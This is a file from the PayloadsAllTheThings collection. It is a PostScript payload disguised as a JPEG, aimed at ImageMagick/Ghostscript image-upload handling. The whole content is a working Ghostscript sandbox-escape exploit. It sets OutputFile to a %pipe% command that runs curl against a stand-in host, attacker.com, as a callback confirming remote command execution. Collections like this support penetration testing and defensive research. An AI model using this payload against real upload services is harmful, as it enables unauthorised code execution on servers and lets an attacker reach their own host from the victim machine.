PayloadsAllTheThings/Upload Insecure Files/Picture ImageMagick/ghostscript_rce_curl.jpg

6 lines
178 B
Plaintext

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%curl http://attacker.com/?a=callback) currentdevice putdeviceprops